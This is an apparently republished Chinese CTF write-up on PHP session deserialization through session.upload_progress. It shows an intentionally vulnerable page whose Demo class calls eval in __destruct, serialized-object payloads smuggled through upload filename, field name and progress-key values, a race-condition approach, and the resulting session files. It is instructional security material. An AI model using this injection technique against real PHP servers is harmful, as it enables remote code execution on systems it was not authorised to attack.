IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> session与session.upload_progress再认识 -> 正文阅读

[系统运维]session与session.upload_progress再认识

题目:海河工匠

<?php
//O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
ini_set('session.serialize_handler', 'php');
session_start();
highlight_file(__FILE__);
class Demo{
    public $test;
    function __destruct(){
        eval($this->test);
    }
}
?>

子目录泄露,访问phpinfo.php页面

发现php.ini中是php_serialize、但是index.php里面设置为了php、并且有session_start(自动反序列化),同时修改了progress.name,也开启了cleanup和enabled,所以可以通过session上传进度,上传session文件,内容为反序列化内容,同时条件竞争即可。

结合:

WEB82-session文件包含

WEB263-session反序列化

进一步了解session和session.upload_progress知识

一、

cleanup 只会清除session文件内容,不会清楚session文件

二、

当页面使用ini_set修改php.ini文件的内容时,phpinfo()里面的local value内容也会修改

我们在脚本使用了ini_set('session.serialize_handler', 'php'); 而php.ini中使用的php_serialize

所以phpinfo()显示为:

三、

关于session.auto_start并且脚本里面没有session_start()函数时,cookie里面不会有PHPSESSID。

四、

PHPSESSID:

参考链接:cookie 中的 PHPSESSID_树洞树洞-单纯记录-CSDN博客_phpsessid

如果PHP脚本中有:

session_start();

则说明使用了SESSION。?

SESSION是一种机制,可以在服务器端跨文件暂时保存数据或传递数据,常用于购物车等方面。SESSION只在用户关闭浏览器之前有效。

PHP是怎样识别不同的SESSION的呢?

每一次SESSION会话都有一个SESSION ID,用来识别不同的会话,保存在浏览器Cookie之中,也就是这个名为PHPSESSID的Cookie

当然,通过修改session.name的值,这个名称是可以更改的。

浏览器将Cookie(包括PHPSESSID)发送给服务器,PHP才知道应该使用哪一个SESSION传递给PHP程序。

当php.ini(Windows下PHP的配置文件)中的

session.auto_start = On

时,PHP会自动创建SESSION,改为:

session.auto_start = Off

PHP就不会自动创建SESSION了。

?但当session.auto_start=off的时候,若脚本中有这么一行代码:

session_start();

那么即使session.auto_start = Off,cookie里面也会自动创建一个PHPSEEID

?这个PHPSESSION 的值就是session文件名字的一部分

文件名为:sess_PHPSESSID的值

这里因为有sess_start(),所以会自动创建一个PHPSESSID,我把它的值修改为flag

那么对应的session文件为:

?五、

当脚本中没有session_start()同时seesion.auto_start()=Off的时候,cookie中是没有PHPSESSID这个东西的。

但是可以通过session.use_strict_mode=0;(默认关闭)

所以我们能自己创建一个session文件,但是要配合session上传进度使用才会有对应的session文件。

这样是没有xxx这个session文件的

这样才有okokxxx这个session文件,且内容不为空

五.1、

同时在对一个同时有session_start()代码和ini_set('session.serialize_handler', 'php或者php_serialize')代码的页面使用session上传进度的时候

对没有session__start()的页面没有影响

能成功反序列化则sessoin文件不为空

session文件内容为:

?a:1:{s:23:"upload_progress_payload";a:5:{s:10:"start_time";i:1635162635;s:14:"content_length";i:1668;s:15:"bytes_processed";i:1668;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}

若是正常上传session进度,则存在session文件,但是内容为空

若待反序列化的字符串是错误的,则不存在session文件

六、

在session上传的时候,有时候会出现PHPSESSID有时候会没有,比如会这样:

有PHPSESSID

无PHPSESSID

原因:没有PHPSESSID是因为在使用session上传进度之前我们删除了目标页面对应的PHPSESSID,没有的话自己加上也是可以的

七、

上传目标页面:

<?php
//O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
ini_set('session.serialize_handler', 'php');
highlight_file(__FILE__);
?>

当php.ini配置为session.serialize_handler=php_serialize,而当前页面为session.serialize_handler=php

?使用session上传进度?

session文件内容:

a:1:{s:23:"upload_progress_payload";a:5:{s:10:"start_time";i:1635170318;s:14:"content_length";i:1668;s:15:"bytes_processed";i:1668;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}";s:8:"tmp_name";s:26:"/private/var/tmp/phpOr9kMY";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1635170318;s:15:"bytes_processed";i:1312;}}}}

上传目标页面:

<?php
//O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
ini_set('session.serialize_handler', 'php_serialize');
highlight_file(__FILE__);
?>

当php.ini配置为session.serialize_handler=php,而当前页面为session.serialize_handler=php_serialize

?使用session上传进度

?session文件内容:

upload_progress_payload|a:5:{s:10:"start_time";i:1635170618;s:14:"content_length";i:1668;s:15:"bytes_processed";i:1668;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}";s:8:"tmp_name";s:26:"/private/var/tmp/phpirELYU";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1635170618;s:15:"bytes_processed";i:1312;}}}

所以利用session上传进度设置session文件内容时,不管页面的ini_set('session.serialize_handler', 'php');设置为php还是php_serialize,都是按照php.ini里面的session.serialize_handler来设置的。

八、

session上传进度三个反序列化点:

目标页面:

<?php
//O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
ini_set('session.serialize_handler', 'php_serialize');
session_start();
highlight_file(__FILE__);
class Demo{
    public $test;
    function __destruct(){
        eval($this->test);
    }
}
?>

(1)修改filename,需要转义,在双引号前面加上\

session文件内容?

a:1:{s:19:"upload_progress_123";a:5:{s:10:"start_time";i:1635176574;s:14:"content_length";i:1664;s:15:"bytes_processed";i:1664;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}

(2)修改name,需要转义,在双引号前面加上\

session文件内容:

a:1:{s:19:"upload_progress_123";a:5:{s:10:"start_time";i:1635176884;s:14:"content_length";i:1664;s:15:"bytes_processed";i:1664;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}

(3)同进行session文件包含一样,修改PHP_SESSION_UPLOAD_PROGRESS的值

这里不需要转义

?session文件内容

a:1:{s:61:"upload_progress_|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-10-26 12:32:40  更:2021-10-26 12:35:05 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 21:23:30-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码